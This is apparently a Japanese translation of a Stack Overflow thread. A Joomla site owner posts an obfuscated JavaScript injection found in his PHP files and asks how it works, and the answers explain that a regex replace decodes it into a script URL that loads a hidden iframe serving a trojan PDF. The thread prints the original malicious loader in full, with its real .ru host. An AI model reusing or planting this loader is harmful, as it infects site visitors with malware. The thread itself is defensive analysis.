このサイト感染スクリプトはどのように機能しますか?


99

私のJoomla!ウェブサイトは繰り返しハッキングされています。誰かが、どういうわけか、次のゴミを主要なphpスクリプトに挿入できましたが、私はJoomlaの設定について話すつもりはありません。サイトはあまり訪問されておらず(私がそのサイトへの唯一の訪問者である可能性があることを恐れる場合があります...)、サイトをバックアップして実行することにあまり関心がありません。最終的にはそれを処理します。

私の質問は、このゴミはどのように機能するのですか?私はそれを見て、これがどのようにして害を及ぼすことができるのかわかりません。トロイの木馬に感染したChangeLog.pdfと呼ばれるPDFファイルをダウンロードしようとすると、Acrobatがフリーズし、マシンに大混乱が生じます。それはどのように行われますか、わかりません。気にしません。しかし、次のスクリプトはどのようにダウンロードを呼び出しますか?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESETはこのコードをJS / TrojanDownloader.Agent.NROトロイの木馬として検出しました


41
好奇心からリンクをチェックするために誰も立ち寄らないでください!
2010年

1
ええと、何が起こっているのかを理解するためにぶらついてはいけません。魔法は、URLの単純なエンコードと、それに続く、行の最後にあるReplace / RegExを使用した文字列のデコード/解析にあります。
DoctorLouie、2010年

13
「スクリプトの一部」は、最初はまったく別のように読みます。
Aditya MP

回答:


181

replace巨大な乱雑な文字列の後の呼び出しに注意してください.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

特殊文字のほとんどを削除し、通常のURLに変換します。

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(私は手動でに変更http:しましたevil:

正規表現は、 .replace(/[#$@^&()!]/ig, '')

スクリプトを見ると/index.php?ys、同じドメインからのパスを含む非表示のIFRAMEを挿入する非常に単純なスクリプトであることがわかります。

私はそのページをFiddlerでリクエストしましたが、コンテンツがありませんでした。


6
iframeのコンテンツを提供するスクリプトは、毎回pdfのダウンロードを開始しないように作られていると思います。10分の1の確率かそのようなものがあるかもしれません。joomlaページを更新するたびにPDFをダウンロードしようとしませんでした。100分の1になることもあるでしょう...誰が知っていますか?
PeterPerháč、2010年

174
+1は、コードがより効率的に記述されている可能性があることを述べています。:)
Pekka

8
@ペッカ、私はそれがより不明瞭になるように故意にそのように書かれたと思います
楕円形のビュー

7
@Elipticalview間違いなく。作家が効率を心配していたら、彼は確かに静的文字列を導出するためにRegEx置換を使用しなかっただろう。笑。
Dan Bechard、2014

大文字と小文字を区別しないパターン修飾子が文字のないパターンにどのように役立つかわかりません。+正規表現を使用している場合は、文字クラスの後にも使用します。
mickmackusa

34

これらの回答は悪意のあるJavaScriptコードの性質を理解するのに役立つかもしれませんが、Joomlaエンジンに固有の抜け穴を閉じる方法を探す必要があります。あらかじめパッケージ化されたフレームワークは、特にUNIX、Mac、およびWindows環境で動作するように設計されていることを考慮すると、意図的または非意図的のどちらでも抜け穴になりがちです。

私の仕事では、クライアントと私自身のために、多くの種類のサーバーとシステムで多くのドメイン、アプリケーション、フレームワークを実行する必要があります。時間の経過とともに、これらのフレームワークによって作成されたバックドアの入り口を経由して既知の抜け穴/入り口を探すボットがこれらのシステムをクロールするボットがますます見られるようになりました。私がめったに使用しない任意のタイプのフレームワークを使用する場合は、ファイル構造全体ではなくてもほとんどの名前を変更して、厄介な抜け穴やバックドアを取り除くようにします。少なくとも、ほとんどのボットをスローするディレクトリの名前を変更できますが、私の方法は、フレームワークの性質に関する手がかりを与える参照を完全に排除することです。これには、ディレクトリだけでなく、ファイル構造全体の名前の変更も含まれます。ベースフレームワークへのプラグインの追加を簡単にするために、古い命名規則に関連する新しい命名規則のマップを常に保持してください。これに慣れたら、フレームワークのファイル構造全体をプログラムによって名前を変更して、より迅速に結果を得ることができます。これは、プラグインなどでフレームワークを更新する必要があるクライアントに対処する必要がある場合に特に便利です。


1
フレームワークのソースに関する情報を削除しないでください。
DoctorLouie、2010年

2
ああ、ありがとう。それはいい答えです。これは実際には非常に興味深い読み物であり、良い提案がなされたため、実際には質問に答えていませんが、+ 1のままです。Ta
PeterPerháč2010年

20

それはあなたに与えるためにスクリプトのURLで正規表現を置き換えるだけです

注:以下のリンクを**たどらないでください(コピーペーストを阻止するために挿入されています)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

として src


単純なことですか?私の良さ...私は再びSOによってpwndされました:)
PeterPerháč

23
それは陽気なURLです。
ジョーダン

@ジョシュ-それはあなた次第です、私は試したことがないので、正確な理由を伝えることはできません。ページに悪意のあるスクリプトがあるのではないかと思います。あなた自身の責任でそうすることができます!
Russ Cam

8

このコードでは、replace関数を使用して、正規表現を使用してゴミ文字を置き換えています。

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

7

からのロードスクリプト

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

そして、そのスクリプトiframeは可視性でロードされますhidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys


2

私のページのindex *。*ファイルに同じsriptがあります。PHPで自分のコードを書いています。私の質問はこれがどのように機能するかではありませんが、あなたが彼らのバックドアを知っているかどうかを保護する方法を尋ねています。フォームを変更し、$ _ POSTと$ _GETを読み、<>とhttp://などを置き換えました。


2

私の2セント。JoomlapackなどのJoomlaバックアップツールをインストールできますか?

私はそれをCHRONスクリプトを介して実行するように設定し、強盗が強盗に遭った場合に備えて商品を手元に置いておきます。

Joomlaのどのバージョンを実行していますか?

1.0.Xバージョンはもはや更新されておらず、その時代は本当に見え始めています。バックアップを行う必要があり、1.5にアップグレードして1.6の不思議を予想することを計画している

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.